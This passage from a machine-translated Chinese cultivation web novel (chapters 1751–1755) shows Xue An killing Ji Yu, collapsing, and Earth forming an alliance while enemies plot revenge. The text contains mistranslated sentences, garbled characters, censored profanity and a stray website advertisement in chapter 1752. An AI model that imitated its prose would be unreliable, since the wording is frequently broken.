    "Joke, what''s not dare to admit? And I can tell you that the seal in that mortal woman is insoluble, so you must understand the heart of the seal! Hahahahaha..." Ji Yu laughed triumphantly.


    In the laughter, Tang Xuan''er, Fan Mengxue, and many people who knew the inside story of An Yan''s seal could not help but change their expressions.


    They all knew that An Yan''s cultivation base and talent were forcibly sealed, and they also knew that Xue An had traveled all over the world to break the seal on An Yan''s body, and almost tried everything.


    But I didn''t expect that at the last moment, I was told that the seal on An Yan was insoluble.


    This is simply too desperate.


    Hu Ying stared at Xue An''s thin back blankly, and her heart gradually sank to the bottom.


    Brother Xue...


    At this moment, Xue An''s eyes grew brighter, and then he sneered, "No solution?"


    "Yes, it''s completely incomprehensible, no one among the heavens can unlock the seal on her body!" Ji Yu said decisively.


    "Hehe, let''s not say that in my eyes there is no word incomprehensible. If I guess correctly, the seal on Yan''er is set with the upper limit for you who perform the surgery, right?"


    Ji Yu''s complexion changed, the smile on his face converged, and he stared at Xue An with cold eyes.


    Xue An didn''t pay attention to this at all, and continued to say: "That is to say, no matter whether it can be unlocked, but as long as you kill you, Yan''er''s seal ceiling will increase by a large amount, am I right? "


    "Yes! But you want to kill me too?" Ji Yu sneered.


    Xue An also smiled, and his smile was full of murderous intent. "If you don''t try... how can you know?"


    When the words fell, Xue An disappeared in place.


    Then there was a loud rumbling noise.


    Looking at Ji Yu''s body again, a figure flickered and madly bombarded Ji Yu.


    Ji Yu leaned left and right, blocking Xue An''s attack, and at the same time secretly surprised.


    She thought that the seriously injured boy in white was already at the end of the battle, so she didn''t take him seriously.


    But I didn''t expect to notice something unusual as soon as I did it.


    Especially with this almost ghostly speed, Ji Yu was a little overwhelmed.


    But that''s it.


    After all, Ji Yu is also a dignified immortal king''s cultivation base, although to a large extent he has the light of his father, the lord of the abyss, but the immortal king is the immortal king and should not be despised by anyone.


    Therefore, after only a few moves, Ji Yu adapted to Xue An''s speed and prepared to fight back.


    But at this moment, Xue An suddenly sneered.


    "Ji Yu, don''t you feel the change in your own strength until now?"


    As soon as this statement came out, Ji Yu was taken aback.


    What do you mean?


    What is a change in strength?


    "For example, the power of your blood!" Xue An said lightly.


    Ji Yu was surprised, and hurriedly felt the changes in her body, and then her face changed.


    Become as white as snow.


    "How? Do you feel that the power of blood is declining crazily?" Xue An said coldly.


    "How could this be? What the **** did you do?" Ji Yu screamed in horror.


    It''s no wonder that she was so scared, it was such a change that was too unbelievable.


    You must know that most of her strength comes from her own bloodline, relying on the bloodline left to her by the Lord of the Abyss, she can be so powerful.


    But she never expected that the power of blood in her body was declining crazily at this moment.


    How could this not make her frightened.


    But from the beginning to the end, she never thought about whether it was her own blood father, Lord of the Abyss, that something had happened.


    Because in her opinion, it is simply impossible.


    No one can be the opponent of the blood father, so she will suspect Xue An for the first time.


    "What a ghost? No, no, no, you think too much. The reason why your bloodline is declining crazily is only because the source of your bloodline has fallen!" Xue An said lightly.


    "This is impossible! How could something happen to the blood father?" Ji Yu roared immediately.


    "Haha! No one will never have an accident, and the invincible Lord of the Abyss is no exception in your eyes!"


    "I don''t believe it!" Ji Yu shouted hysterically.


    But at this moment, a powerful power rose from the top of Xue An''s head and formed a phantom illusion in the air.


    Surprisingly, it was an extremely tall blood sea **** tree.


    As far as the momentum came, Ji Yu was struck by lightning and stood still.


    "Why... how could this be... how can you have the breath of a blood father?" Ji Yu muttered to himself.


    At the same time, Xue An stepped forward and said coldly: "It''s very simple, because your blood father has been killed by me!"


    With the voice, the imaginary image of the blood sea **** tree rumblingly folded into two parts and shattered.


    "Impossible! This is absolutely impossible!" Ji Yu shook his head frantically, still unwilling to believe it was true.


    But at this moment, her power is disintegrating.


    Xue An raised his hand, and there was the ancient mirror in the palm of his hand.


    "Now, are you credible?"


    After seeing this treasure from the Lord of Abyss, Ji Yu finally understood that everything Xue An said was true.


    This fact caused her to collapse immediately.


    The power of the remaining blood burst out and exploded into a piece in the air.


    "Ahhhhh, I don''t believe it, the blood father won''t abandon me, all this is fake..."


    There was a muffled sound.


    The scream stopped abruptly, and then Ji Yu turned his head hard to look at Xue An behind him.


    "you����."


    "Walk slowly, not send it!"


    Following the voice, Xue An pulled out abruptly, and his palm was pulled out from the back of Ji Yu''s heart.


    In his hand, it was a beating heart.


    Then Xue Anxin shook his hand.


    Bang!


    The heart was completely crushed.


    Ji Yu''s eyes went out instantly, and his body exploded, becoming nothing.


    At the moment when she fell, a Qi machine suddenly penetrated into Xue An''s eyebrows.


    Then all the creatures in the abyss, whether they are alchemy evil things or evil spirits, Qi Qizhen is for the fans.


    at the same time.


    The man with golden glasses on the ground has also been torn to pieces by Xiao Ruisheng.


    So far, this wave of attacks on the earth has been completely resolved, and the crisis has also been resolved.


    Everyone stared at this scene blankly.


    It wasn''t until a moment later that people gradually awoke, and then they cried and cheered.


    In an instant, the audience, the whole country, and even the whole world were completely boiling.


    Everyone was cheering hysterically leaping and crying.


    Because of this battle, everyone underwent unimaginable pressure.


    Now that the crisis is suddenly lifted, the pressure will naturally be completely released.


    The powerhouses present couldn''t help showing a relieved smile.


    Without knowing who started it, people suddenly started cheering loudly.


    "Mr. Xue is invincible!"


    "Mr. Xue races high!"


    The sound was shaking.


    Everyone looked up at Xue An with respect.


    But at this moment, Xue An, who was standing high in the sky, suddenly opened his mouth and vomited out a big mouthful of blood with a puff.


    Immediately afterwards, he fell like a kite with a broken line.


    In an instant, the whole world was shocked!

 Chapter 1751： Call everyone to come

    "Mr. Xue!"


    "Little Ang!"


    "Brother Xue!"


    "Master!"


    There were screams.


    Tang Xuan''er, Fan Mengxue, Hu Ying and others rushed up even more desperately.


    But at this moment, Zhuge Zang roared, "All back, no one should touch him! Heaven cover that!"


    Tianzhe''s face was dignified, and he stomped his feet directly, and the ground was suddenly covered by layers of black awns, and he embraced Xue An who had fallen to the ground.


    But even such a slight shock caused Xue An to spit out another big mouthful of blood.


    Blood splattered everywhere, and it also stained everyone''s eyes.


    "Brother Xue!" Hu Ying cried, and then wept loudly.


    She had never seen Xue An like this.


    The brother Xue in the memory is always the appearance of Zhizhu holding the clouds and light, but now, Xue An''s momentum has fallen to the extreme, and the once breathtaking eyes are even more dim, as if anytime. Will go out the same.


    This scene scared Fox Ying into tears.


    As for the others, they burst into tears.


    "Instructor!"


    "Master!"


    The whole world was shaken by the cry.


    Chen Xiaoyi''s whole person was already shaking, and the original joy has long since disappeared. At this moment, she was manipulating the machine with tears and pointed the camera at Xue An, who was sitting on the ground.


    When Xue An, who was so pale that there was no trace of blood, appeared in the picture, countless people''s hearts instantly became a ball.


    In the old Xie Hotel, the fat aunt had already cried into tears, "Xiao An! You can''t be okay!"


    Even Lao Xie watched the TV blankly, with glints flickering in his sluggish eyes, not knowing what he was thinking.


    At the same time, Zhuge Zang fell to the ground, and the always calm he also showed anxious expression at this moment, and shouted at the sky with angrily: "Tianzhuna, what the **** is going on? What''s wrong with Xiaoan?"


    At that moment, Tianzhe also has six gods and no masters, "Where did I know that Xiaoan was alone in front of the quasi-immortal emperor-level lord of the abyss, and forcibly destroyed the opponent, and was injured in the end, but who knew his injury would be so serious? !"


    hiss!


    Hearing that Xue An had single-handedly eliminated the existence of the quasi-immortal emperor level, everyone couldn''t help taking a breath.


    But this also made Hu Ying, Tang Xuan''er and the others even more sore and tears streaming.


    Brother Xue actually endured such a huge pressure alone.


    Quasi-Xiandi-level powerhouse!


    That''s an existence that his brother might not be able to beat! What price did Brother Xue pay to destroy the other party?


    Thinking of this, Hu Ying suddenly felt a chill in her heart.


    If... Brother Xue leaves me because of this, what should I do?


    This thought caused Hu Ying to collapse instantly.


    At the same time, Zhuge Zang was even more angry, "Tianzhuna, you fucking..."


    "Old man Zhuge, don''t say it!" At this moment, Xue An suddenly said in a very weak voice.


    Zhuge Zang closed his mouth immediately, "Brother Xue, how are you feeling now?"


    Xue An''s face was as white as paper, and he waved his hand with a light smile, "Come here!"


    Zhuge Zang immediately stepped forward.


    "Do me a favor! Open the seal between my eyebrows and open the Fubao Xiaolou inside!" Xue An said softly.


    Zhuge Zang was startled, then nodded solemnly, "Offended!"


    With that said, he pointed at Xue An''s eyebrows.


    The seal set by Xue An was very simple to him, so he broke it quickly, and then dragged out the small talisman in the divine space with a gentle force of divine mind.


    The moment when Fu Bao Xiaolou appeared in front of everyone.


    An Yan rushed out of it like an arrow from a string, and behind her was thinking about these two little girls.


    The mother and daughter jumped directly to Xue An, and An Yan stopped.


    She stood in front of Xue An blankly and looked at Xue An quietly.


    Xue An smiled slightly, but when he laughed, blood was leaking from the corner of his mouth.


    Suddenly An Yan began to tremble, and then big tears fell.


    "Old...husband!"


    The two little girls even cried into tears, but they cleverly covered their mouths and refused to make a sound.


    "Yan''er, come here!"


    An Yan immediately stepped forward, squatting down to hug Xue An, but did not dare to start.


    Xue An raised his hand with difficulty, stroked An Yan''s cheek lightly, and then smiled with relief.


    "Very good! Your seal has been unlocked for the most part!"


    Where An Yan still has the mind to care about the seal, she feels that her heart is almost broken.


    "Stupid husband, why are you so stupid! Why do you want to lock me up! Do you know how desperate I can be when I can''t hear or feel anything inside? I hate you!"


    The sound is not loud, but every word is weeping blood.


    Xue An smiled tiredly, "I''m sorry! The opponent I was facing was too strong, for your safety, I can only do that!"


    An Yan was crying and speechless.


    At this moment, Xue An''s fingertips lightly touched her forehead.


    In an instant, Xue An''s armor was transferred to An Yan''s body like flowing water.


    It was only then that people could see clearly that there were huge wounds on Xue An''s body.


    These wounds are like a rag doll about to collapse, full of lifelessness.


    An Yan tremblingly stroked these wounds on Xue An''s body, and a line of blood and tears flowed down the corner of her eyes.


    "Does it hurt?"


    Xue An smiled and shook his head, then his complexion gradually became serious.


    "Yan''er, I will leave for a while, but the news of my rebirth return has spread. By then, countless people who took advantage of the fire and robbery will come to seek revenge. By then, the earth will face a crisis that is 100 times or even more difficult than this crisis. It��s a dangerous situation, but we have nowhere to go, so you have to take it all on your shoulders and protect the Fa. When I wake up, understand?"


    Hearing Xue An''s words, An Yan''s expression instantly calmed down, and infinite murderous intent appeared in the pair of cut water pupils.


    "it is good!"


    Xue An looked at Tang Xuan''er, Hu Ying and others not far away, and smiled wearily.


    "Please everyone!"


    Everyone gathered together and nodded immediately.


    Then Xue An took a few hurried breaths, and forced to look at Zhuge Zang.


    "Old man Zhuge come here, I have something to tell you!"


    Zhuge Zang immediately attached his ears.


    Xue An said in a very low voice: "You hurry up to summon Huye and Ye Hanshang and others to come to fight the powerful enemy and defend the earth!"


    Zhuge Zang''s complexion changed, he immediately understood, and then nodded solemnly: "Don''t worry!"


    "Thank you!"


    After all, Xue An tried his last bit of strength and smiled at the tearful two little girls.


    "Don''t cry, Dad just took a nap and will wake up soon!"


    I miss Nian but I''m so crying that I can''t even speak.


    "Silly girl!"


    He said with a chuckle, and then the brilliance in Xue An''s eyes gradually extinguished, and the aura of the whole person also decreased, and eventually disappeared.


    In an instant, Xue An sat on the spot with his head down, without the slightest breath, as if it were a corpse.

 Chapter 1752： Overweight

    When this scene spread through live footage to every corner of the world, the whole world was silent for it.


    Before they knew it, many people burst into tears.


    Because they knew that the reason why Xue An was so seriously injured was all for the earth!


    To put it bluntly, he is likely to be so exhausted!


    At this point, many people feel like a knife.


    Even some people who didn''t catch a cold for Xue An obediently closed their mouths at this moment.


    For example, the President of Country M, at this moment, he dare not show any schadenfreude.


    Because he knew very well that if he dared to say some nonsense nonsense at this time, even if he was the president, he would have to be torn to pieces by the angry crowd.


    Even so, he couldn''t help but secretly rejoice in his heart.


    Gee, this is a coma? I think it''s dead!


    Good to die, as long as he dies, China''s threat will be reduced by 90%!


    The president thought with hatred.


    As for the people present, they all fell into sorrow and sorrow, and there was faint crying.


    In the midst of this gloomy cloud, General Zhen Guo walked out of the crowd and came to An Yan''s side.


    "Mrs. Xue, I hope you don''t feel too sad!"


    An Yan slowly turned his head after hearing this, and looked at General Zhen Guo with a calm expression, "I am not sad, because I know that he is just too tired, so he will take a rest! Soon he will wake up! "


    General Zhen Guo didn''t expect An Yan to be so calm, and all the comforting words he had prepared were lost.


    "Mrs. Xue, it''s great for you to think so, and you can rest assured that as long as we are here, you and your two daughters will be absolutely safe!"


    An Yan shook his head gently, "Don''t be so troublesome, I won''t go anywhere, I will guard my husband here until he wakes up!"


    The two little girls also wiped the tears from their faces at this time, and their little faces were full of seriousness.


    "Yes, we won''t leave, we have to wait for Dad to wake up!"


    General Zhen Guo was taken aback and wanted to say something, but when he saw the perseverance on An Yan''s face, he understood that no matter what he said, he could not change An Yan''s decision.


    So he pondered for a while, and then walked to Zhuge Zang, "Master Zhuge, I want to discuss something with you!"


    Zhuge Zang nodded, "If you don''t find me, I will find you too!"


    With that, the two discussed in a low voice.


    After a while, the town general nodded solemnly, "Okay, I understand!"


    After that, he turned around and said to his portable secretary.


    "Through my order, from now on, centering on Mr. Xue''s location, the fifty-mile radius is listed as an absolute restricted area, and elite troops are sent to guard it. No one is allowed to enter, otherwise it will be killed!"


    This decision stunned many people, but soon everyone understood.


    After all, Xue An''s situation now affects the hearts of all Chinese.


    And Xue An has fallen into this weird state of death or alive, which can be described as completely undefended. If someone with a heart of uncertainty takes the opportunity to make waves, wouldn''t it be a bad thing?


    Just in case, it''s always good to be careful!


    But then the second decision made by General Zhen Guo shocked everyone.


    I saw him look around the strong men and generals of all races present, and said in a deep voice: "Everyone, the crisis facing the earth is far from over. Mr. Xue said himself that there will be Xiaoxiao after he sleeps [567����] The generation of www.567zw.top] took advantage of the fire to rob."


    "These people are likely to be the most powerful among the heavens. The pressure we will face will be much more severe than this time. Therefore, in order to unite and fight against the powerful enemy, I decided to form the Earth Alliance. Headquarters, gather all the forces of our humanity, to prepare defenses in advance!"


    The voice of the town general echoed on the battlefield and spread all over the world through various channels.


    Everyone''s expressions became serious when they heard the stakes stated by the general of the town and country.


    The joy of repelling a powerful enemy before was even gone.


    At the same time, the generals of various countries and the strong looked at each other, and then they nodded and agreed.


    "Country E is willing to join the Earth Alliance Command and accept the unified management of China!"


    "Country R is willing to join!"


    "Country Y is willing to join!"


    All the countries all agreed to join, but the military representatives of country M did not express their opinions.


    In an instant, everyone''s eyes focused on them.


    These M country generals were full of embarrassment, "Wait a moment, everyone, we have reported the situation and are waiting for your reply from the President!"


    At this moment, one of the general''s tactical computers received a reply, and he immediately opened it to check, and then his face became difficult to look.


    "How to say?" someone asked.


    The general hesitated, and then bit the bullet and said: "Our president wants to ask, after joining the Earth Coalition Command, what should this command say? And... he wants to be the commander-in-chief!"


    As soon as this statement came out, the audience was in an uproar.


    "I''m pooh! I''ve been hiding in the defensive lair underground and didn''t even dare to show his face. Now the enemy has been repulsed, but he wants to be the commander-in-chief! Why is this person so thick?" a Chinese general immediately scolded.


    The generals of Country E on the side are not surprised at this, "It''s a Chinese friend, it''s not worth being angry about this. These stupid **** are originally this virtue, just get used to it!"


    These cynical words made the general blushing The General Zhen Guo said nothing bad, he just shook his head slightly, and then said indifferently: "Sorry, please forgive us for not accepting this condition, and Since you are so insincere, you don''t have to join! Anyway, the Earth Alliance Command does not lack yours!"


    Having said that, the town general turned around and left, leaving these M country generals directly there.


    Seeing this scene, everyone felt their eyebrows exhale, and then they all left with a smile.


    In an instant, only these few generals of Country M were left standing in place.


    Their faces were blue and white, and it was not until a moment later that one of the generals gritted his teeth and roared.


    "I really want to know what our Excellency the President thinks, isn''t his head stuffed with feces? Isn''t he deliberately provoking China with such incredible conditions?"


    "Now it''s okay, China is not going to talk about it, and if our country M is excluded from the Earth Alliance Command, it means that we have been abandoned by the international community, and there will be a strong enemy invading it. Let''s just play with this stupid bastard!"

 Chapter 1753： The news spreads, the demons dance

    The words of this general made the faces of the others more difficult to look.


    "No, we have to report these things to the Congress, otherwise our country M will definitely be dragged down by this stupid!"


    Several generals immediately sent the incident back.


    After realizing the seriousness of the matter, the big lords of Congress reached a consensus in just a few minutes.


    Then a piece of paper was sent to the cockfighting president, with a line of big characters written on it.


    Presidential recall order!


    The president''s face was as pale as paper, "No! This is impossible. I am the dignified head of state, the chosen son of heaven. How can you just dismiss me?"


    The general in charge of delivering the letter sneered coldly, "I''m sorry, but the removal order has the signatures of all members of Congress, so it is valid! In other words, from now on, you are no longer the president of Country M!"


    "No! You are persecution, I want to announce it to the world! I want to..."


    The general gave a wink at the left and right, and several guards immediately rushed forward and blocked the words behind him.


    "I''m sorry, you will enter the nursing home for ten years of compulsory treatment for mental and physical reasons after being removed, and the name of the disease is Alzheimer''s!"


    Seeing the cold smile on the general''s face, the president''s heart gradually sank to the bottom.


    Because he knew that all his escape routes had been blocked.


    From then on, he will be a patient suffering from Alzheimer''s.


    "take away!"


    Soon, the meticulously concocted news came out, which surprised all countries.


    Surprised at the speed of country M.


    On the second day, the special envoy of country M rushed to China. After a sincere apology, country M joined the Earth Allied Forces command as he wished.


    In this way, under the full operation of all countries, the Earth Allied Forces Command was established at an astonishing speed.


    The armies of various countries have been brought into the unified management and deployment of the Earth Alliance Command. Only with this, the global power has been twisted into a rope.


    Especially those strong from various countries are divided into more than a dozen teams, each team performs its own duties, complements each other''s strengths and weaknesses, and maximizes everyone''s strength.


    Just as the earth is doing all kinds of preparations before the war comes.


    In the depths of the distant starry sky, stands a large family.


    Above the mountain gate, there are three characters written in ancient seal script, Qiantianyuan.


    now.


    In the main hall of Qiantianyuan, Shang Liang, who was meditating with his eyes closed, suddenly felt something and suddenly opened his eyes.


    boom!


    As he opened his eyes, the boundless sea of ??clouds outside the mountain gate was directly shaken out of a straight channel and extended to the unknown.


    All the disciples in the courtyard were trembling at it, and looked at the hall with horror.


    Because they don''t know what can provoke the lord so anger.


    at the same time.


    A trace of doubt appeared in Shang Liang''s eyes.


    "What''s the matter? Why can''t I suddenly notice the breath of the Lord of the Abyss? Even Wei Young''s breath has disappeared?"


    Just as he was surprised by it, a jade slip phantom suddenly flew in front of him.


    Shang Liang Xin took it, and when he opened it, his pupils instantly shrank to the size of a needle, and at the same time, the cheek that had always been Gujing Bubo turned pale.


    This jade slip is exactly the back hand that the Lord of the Abyss set up in advance.


    After his body falls, these jade that has already set the space-time coordinates will fly to the heavens.


    And the content recorded above is also very simple, only the coordinates of one planet, and...the detailed information of Xue An.


    "Xue An..." Shang Liang whispered softly, and the hand holding Yujian gradually turned white due to excessive force.


    In his eyes, there was a gleam of fright and excitement.


    Frightened that the Red Lotus Immortal Venerable who used to be from the Sky of Avia didn''t die, but was reborn and returned, and destroyed the Lord of the Abyss who was not even his opponent.


    Excited that if according to what the jade slip said, then Xue An must have been seriously injured at this moment, this is a golden opportunity!


    After all, he is not even a fairy king now, plus he was seriously injured, his strength must have fallen to the bottom.


    In this case, he has a chance to take revenge.


    That''s right.


    Shang Liang hated Xue An.


    But in the previous life, Xue Angui was the Immortal Venerable. Don''t even retaliate, he didn''t even dare to think about it.


    After all, the gap in strength is too big.


    But this time the situation was different. As long as he planned properly, Xue An would definitely die.


    Shang Liang trembled with excitement when he thought of the old immortal strongman who was able to do so.


    Suddenly, he remembered something again, raised his hand in the air and wrote a series of divine reading seals, and then waved it out.


    Shang Liang couldn''t help but sneer after the Shennian Shu seal disappeared without a trace.


    "Red Lotus Immortal Venerable, did you ever think that there will be today when you bullied me and waited? Now that you are seriously injured, don''t blame me for waiting to be merciless!"


    "When I get in touch with friends from all walks of life, I will get up and go to your hometown. Then...hehe!"


    "I''m going to kill you a chicken or dog without leaving it!"


    When Shang Liang began to contact the various sects that had hatred with Xue An, the jade slips of the Lord of the Abyss spread among the heavens.


    The news broke out and all parties were terrified.


    It should be known that the Lord of the Abyss chooses to have blood and blood feuds or strong people with Xue An, so when they heard the news, their eyes were red with excitement, and they screamed and wanted revenge.


    The various evil sects that had been suppressed by Xue An in the past had not dared to show up, began to restart the mountain gates one by one.


    Those strong men who had blood on their hands but were chased by Xue An who could only hide in the wild and trembling also reappeared in the world.


    In this case, the heavens gradually waved and became less peaceful.


    at the same time.


    In the solar system, Zhuge Zang and Tianzhe flew into space, which is only a few million miles away from the sun, with serious faces.


    Look at this big fireball that occupies all the field of vision and exudes violent heat.


    Tianzhe said solemnly, "Old man Zhuge, how sure are you?"


    Zhuge Zang said lightly: "I don''t know either!"


    "I don''t know? Are you **** teasing me? It''s time now, maybe when there will be a strong attack on the earth, you actually said you don''t know how sure you are?" Tianzhe''s face was stunned. Said.


    "My surname is Tian, ??don''t you **** tell me these nonsense, how do I know that I am a little sure, I am not a god!"


    "Good, good! What you said is right!" Tianzhe was not interested in bickering, "Then what do you say now?"


    "Of course I gave it a try! Otherwise, I really won''t be sure at all!"


    With that said, Zhuge Zang took a step forward, spreading all his beards, and then raised his hand to set up a formation in the air.


    With the emergence of array patterns, a huge formation began to take shape, absorbed the power of the sun, and gradually became red.

 Chapter 1754： cynicism

    Even so, Zhuge Zang did not dare to have the slightest slackness, but became more serious.


    at last.


    After a full dozen hours, this huge formation finally took shape.


    Zhuge Zang took a few steps back with sweat on his face, staggered, and almost fell down.


    Tianzhuna hurriedly stepped forward to hold on, and asked anxiously: "How?"


    "It should be possible! Help me with your spirit!"


    "Okay!" Tianzhana immediately responded.


    Zhuge Zang took a deep breath, the brilliance in his eyes suddenly burst.


    When Tianzhe closed his eyes, a little brilliance flew out from between his eyebrows and merged into Zhuge Zang''s eyes.


    Then Zhuge Zang put an encrypted divine mind into the square formation in front of him.


    boom!


    The formation was trembling, and then this spiritual thought followed the formation and flew into the sun hundreds of thousands of miles away.


    The sun trembled slightly, forming a perfect resonance with this divine mind.


    With just such a resonance, this divine thought was amplified by the sun by a million times, and then spread at a crazy speed.


    After doing all this, the formation was blasted to pieces.


    Zhuge Zang also turned pale, almost vomiting blood.


    But his face showed joy.


    "It''s done!"


    "Did you succeed?" Tianzhe asked immediately with a shock.


    "Nonsense, who am I, Zhuge Zang? Is there anything I can''t do by myself?" Zhuge Zang said with a smile.


    This time Tianzhe did not surprise Zhuge Zang unexpectedly, but let out a sigh of relief.


    "It''s good if you succeed! I hope they can come here as soon as possible after they learn the news!"


    "Don''t worry! I have said it very clearly in Divine Mind! They will definitely come right after they see it!" Zhuge Zang said, and then covered the sky with a smile.


    "Let''s go! It''s time to go back!"


    "Yeah!" Tianzhe turned around to leave.


    "Come on, carry the old man!"


    "Why do you want me to carry you?" Tianzhe shouted.


    "Nonsense, I''ve been busy for more than a dozen hours, and now I have lost my strength, shouldn''t you be carrying me?"


    "Then I have also contributed divine thoughts!"


    "Stop talking nonsense, can''t memorize?"


    The two began to quarrel again, and finally Tianzhuna reluctantly carried Zhuge Zang on his back and flew towards the earth.


    At this time, this divine mind is spreading among the heavens at the speed that ordinary people imagine.


    Because of the special setting, except for the specific few people, the other strong people can''t feel the existence of this divine mind at all.


    So this divine mind crossed galaxies without hindrance, and flew into the depths of the starry sky...


    This is an extremely ordinary planet, so ordinary that even interstellar pirates don''t bother to pass by here.


    As for the cultivators on the planet, there are even two or three big cats and kittens, and there have been no famous figures since ancient times.


    It''s in such a plain, unexistent planet.


    A cynical young man dressed in white is walking through the mountains.


    He doesn''t seem to be fast, but he can cross a mountain with every step.


    Sometimes the rise can directly cross dozens of mountains.


    But he didn''t seem to be in a hurry. Instead, he looked east and west as he hurried, as if he was traveling in the mountains and water.


    Just as he was traveling freely, two bright lights suddenly appeared in the mountain ahead.


    The young man''s figure paused, he took a closer look, and then his eyes lit up and he rushed over excitedly.


    "Sister, why do I think someone is staring at the two of us?" At this moment, a figure appeared among the two radiances, and one of the young girls said in a little surprise.


    "Don''t talk nonsense, this is the site of our sect, who dares to come over? You must have heard it wrong, and quickly picking the elixir that Master urgently needs is the main thing!" Another longer woman said in a deep voice.


    But as soon as she had finished speaking, she heard a daunting voice behind her.


    "Two girls, what are you looking for?"


    As soon as the sound came out, the two girls were so scared that they almost fell from the air.


    When I looked back, I saw a handsome, but awkward teenager who was dressed in white and looked at him with a grin.


    The two girls felt chills. In such a deep mountain, they suddenly met such an unknown teenager, which really made their scalp numb.


    In particular, the two of them also discovered that although the teenager was standing in front of them, it did not exist in their perception.


    This is simply incredible.


    "You... are you a man or a ghost?" the longer girl asked boldly.


    "Is it a human or a ghost?" The young man was startled slightly, then smiled and shook his head, "I don''t seem to be at all!"


    At this time, the two girls were almost scared to cry.


    "You...what do you want to do? I can tell you that this is the place of our Shuiyue View. If you dare to have any bad thoughts, our master will not let you go!"


    "Yes! I won''t let you go!" Another girl echoed.


    The boy laughed blankly, "Bad thoughts? Are you wrong? I just passed by here and happened to meet two of you, so I just came to say hello!"


    "Coincidentally passing by?" The eyes of the two girls gradually widened.


    "Yeah! Otherwise, what do you think?"


    "We thought... I thought..." A blush flew on the cheeks of the two girls, but their hearts were let go.


    And at this time, the two of them found that the young boy��s eyes were horrifyingly bright. As they grew up in the nun sect, they had never seen such a dazzling young boy, so their hearts were chaotic like a deer. Bumped up.


    But at this moment, the dear man suddenly smiled lazily, "For why? Do you think I want to do something to you?"


    The two girls were taken aback.


    At this moment, the youth in their eyes suddenly changed.


    The beauty just now no longer exists, replaced by a terrifying and hideous face.


    "Do you want to marry me? Hahahaha!" Grimace grinned.


    "Ahhhhhh!" The two girls screamed with fright, and then ran away.


    But the two girls were also shocked and they fled relative to each other, and they bumped into each other.


    Bang!


    The heads collided and there was a muffled noise, and then the two of them fainted with their eyelids rolled over.


    Seeing this, the boy dissipated his illusion, and then stood still a little embarrassed.


    "Oh my god, it''s too much fun!"


    He originally wanted to amuse these two young girls who hadn''t been involved in the world, but who thought that the other party was so intimidated, just an ordinary illusion was shocked.


    "Who? Dare to hurt my disciple?" At the same time, a woman''s scream came from a distance.


    Obviously, the teachers of the two women sensed something was wrong, and they were coming here.


    The young man smiled embarrassedly at the two fainted girls on the ground, "Sorry! Lord Fox, I won''t tease you anymore!"


    As he said, he waved his hand and dropped two pills, then his figure flashed and disappeared in place.

 Chapter 1755： What are you looking at? Havent seen a handsome guy? ...

    As soon as his figure disappeared, several radiances rushed to the front, and the leader was a middle-aged woman with a majestic face.


    An angry look appeared in the middle-aged woman''s eyes as soon as she saw the two people lying unconscious on the ground.


    "What a courageous thief, dare to attack my Shuiyueguan people!"


    With that, her eyes suddenly lit up, and she began to search for the qi left on the scene.


    This is also the fame of Shuiyueguan, you can search for all clues, and go back and trace.


    But I never expected that this trick that was tried and tested would lose its effectiveness at this moment.


    The scene was empty, without any extra breath at all.


    how is this possible?


    I just saw a figure here?


    The middle-aged woman was taken aback.


    At this moment, someone exclaimed, "Master, what do you think this is?"


    With that said, the disciple handed the two pills to the middle-aged woman.


    The middle-aged woman took it and took a look. At the beginning, she didn''t care too much, but when she opened the cork, a powerful pressure was projected from the bottle.


    And it was accompanied by a refreshing fragrance.


    Just by smelling it, the middle-aged woman was shocked to find that her already stagnant cultivation base had grown a little.


    This is incredible.


    At the same time, the two girls have also been awakened.


    The middle-aged woman couldn''t wait to ask: "What did you two meet? Why did you faint suddenly? What''s the matter with these two pills?"


    The two girls were dumbfounded by the continuous questioning, and it took a while before they finally realized.


    "We...we originally came to collect medicine according to your master''s instructions, but we didn''t expect to meet someone!"


    "A person?" The middle-aged woman''s eyes lit up.


    "Sister, what you said is wrong, it is not a person at all, but a ghost!"


    Upon hearing the word ghost, the senior sister''s face suddenly turned pale.


    "Yes...yes, it''s a ghost! And it''s a very horrible ghost!"


    Thinking of the hideous and terrifying face, the two girls couldn''t help but shiver again.


    The middle-aged woman was confused by the words of these two apprentices.


    Why is it a man and a ghost again?


    But when she saw the pill in her hand, her eyes could not help but gradually become hot.


    Regardless of whether the opponent is a human or a ghost, at least this medicine is real.


    If used properly, maybe Shuiyueguan will flourish like this.


    Thinking of this, she moved in her heart and said faintly: "Who is not a ghost or a ghost, you two must be scared, and take the dream real!"


    "But..." The two girls wanted to say something.


    "Okay! This matter is exposed, no one is allowed to mention it again! Do you understand?" The middle-aged woman exclaimed with a sharp expression.


    "Yes...Yes!" Even though they felt a little uncomfortable, the two young girls obediently bowed their heads.


    But what they didn''t know was that the fate of the two of them would have changed because of today''s events.


    They were originally incompetent monks, but because of these two pills, they abruptly became true immortal masters.


    Therefore, Shuiyueguan jumped from the second-rate sect to the top sect.


    But until thousands of years later, they didn''t know who they met that day, and where the two pills came from.


    This incident has thus become an unsolvable mystery in the history of Shuiyueguan.


    Of course, I believe everyone should have guessed who this man is.


    That''s right!


    It is Xue An''s best friend, the best of the younger generation in the Qingqiu Fox Country, Fox Night!


    As for why he came to such a place where birds don''t shit....


    Then ask him himself.


    now.


    Fox night appeared in a prosperous city thousands of miles away.


    Although not comparable to the big cities on the earth, it is not bad.


    When Fox Night appeared on the street, many people cast curious eyes.


    Some women were even more attracted by the smirk on his face, and kept peeking at him.


    After all, the human form of Fox Night is very lethal to ordinary women.


    But the premise is that he cannot speak.


    For example, now, when he feels a woman is watching him secretly, Fox Ye''s expression immediately becomes very awkward, and then turns his head and said with a smirk.


    "Little lady, are you looking at Shengmo?"


    This dangling appearance should break the hearts of many women.


    "Would you like to have a few drinks with me?" Hu Ye said excitedly.


    "Ah ah ah hooligans!"


    Amid the screams, these women rushed away, leaving only Fox Ye standing on the spot with a baffling expression.


    "Isn''t it just a few drinks? As for being so shy? It''s strange!"


    Then Hu Ye turned his head and shouted at the crowd of onlookers: "What are you looking at? Haven''t seen a handsome guy?"


    "cut!"


    The crowd let out a roar, and then also dispersed.


    Huye walked slowly across the long street, turned into an alley, walked a little further, and then stopped.


    There is a small courtyard in front of him, and the lush grass on the wall looks a little desolate.


    The wooden door was ajar, revealing a glimmer of light in the courtyard.


    Fox Ye stood in front of the door for a long while, the cynicism on his face gradually faded, replaced by a warm smile.


    It''s as if a wanderer who has been wandering for many years finally returned home.


    Then he took a deep breath, pushed open the wooden door, and walked slowly into the courtyard.


    The small courtyard is not big, but it is very clean.


    Many famous or unknown flowers and plants are planted in the corners and under the eaves of the corridor.


